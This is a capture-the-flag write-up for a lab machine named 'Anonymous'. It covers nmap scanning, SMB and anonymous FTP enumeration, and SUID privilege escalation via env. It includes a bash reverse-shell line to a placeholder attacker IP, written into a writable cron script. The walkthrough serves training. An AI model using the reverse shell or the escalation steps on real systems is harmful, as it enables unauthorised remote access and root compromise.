Anonymous

Not the hacking group

Scanning

Nmap

$ nmap -sV -sC 10.10.165.121      

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-26 19:21 BST
Nmap scan report for ip-10-10-165-121.eu-west-1.compute.internal (10.10.165.121)
Host is up (0.0011s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.52.222
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (EdDSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 02:7A:74:62:7F:79 (Unknown)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|_  System time: 2021-09-26T18:21:39+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-26 19:21:39
|_  start_date: 1600-12-31 23:58:45

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.18 seconds

Enumeration

SMB

$ smbclient -L //10.10.165.121/
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    pics            Disk      My SMB Share Directory for Pics
    IPC$            IPC       IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            ANONYMOUS

$ smbclient //10.10.165.121/pics
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun May 17 12:11:34 2020
  ..                                  D        0  Thu May 14 02:59:10 2020
  corgo2.jpg                          N    42663  Tue May 12 01:43:42 2020
  puppos.jpeg                         N   265188  Tue May 12 01:43:42 2020

        20508240 blocks of size 1024. 13306812 blocks available
smb: \> mget *
Get file corgo2.jpg? yes
getting file \corgo2.jpg of size 42663 as corgo2.jpg (661.3 KiloBytes/sec) (average 661.3 KiloBytes/sec)
Get file puppos.jpeg? yes 
getting file \puppos.jpeg of size 265188 as puppos.jpeg (36995.6 KiloBytes/sec) (average 4294.8 KiloBytes/sec)
smb: \> exit

after download and check metadata and any stegos no thing interesting

FTP

ftp anonymous login enabled

$ ftp 10.10.165.121
Connected to 10.10.165.121.
220 NamelessOne's FTP Server!
Name (10.10.165.121:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1462 Sep 26 18:26 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> mget *
mget clean.sh? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for clean.sh (314 bytes).
226 Transfer complete.
314 bytes received in 0.00 secs (5.8716 MB/s)
mget removed_files.log? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for removed_files.log (1462 bytes).
226 Transfer complete.
1462 bytes received in 0.00 secs (29.0473 MB/s)
mget to_do.txt? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.00 secs (1.5817 MB/s)
ftp> exit
221 Goodbye.

after login and download files let's check content

$ cat to_do.txt 
I really need to disable the anonymous login...it's really not safe
--------------------------------------
$ cat removed_files.log
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
--------------------------------------
$ cat clean.sh 
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi

from this file we can guess what's going on this box

clean.sh in crontab that's explain the content of removed_files.log

wait ... we have ability to write to clean.sh !!

edit the content adding reverse shell

#!/bin/bash
bash -i >& /dev/tcp/[attacker_ip]/1234 0>&1

wait awhile ... 1min

User Shell

Privilege Escalation

SUID

search for sticky bit

namelessone@anonymous:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -uid 0 -perm -4000 -type f 2>/dev/null
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/pkexec

/usr/bin/env

let's escalate through env

Root Shell

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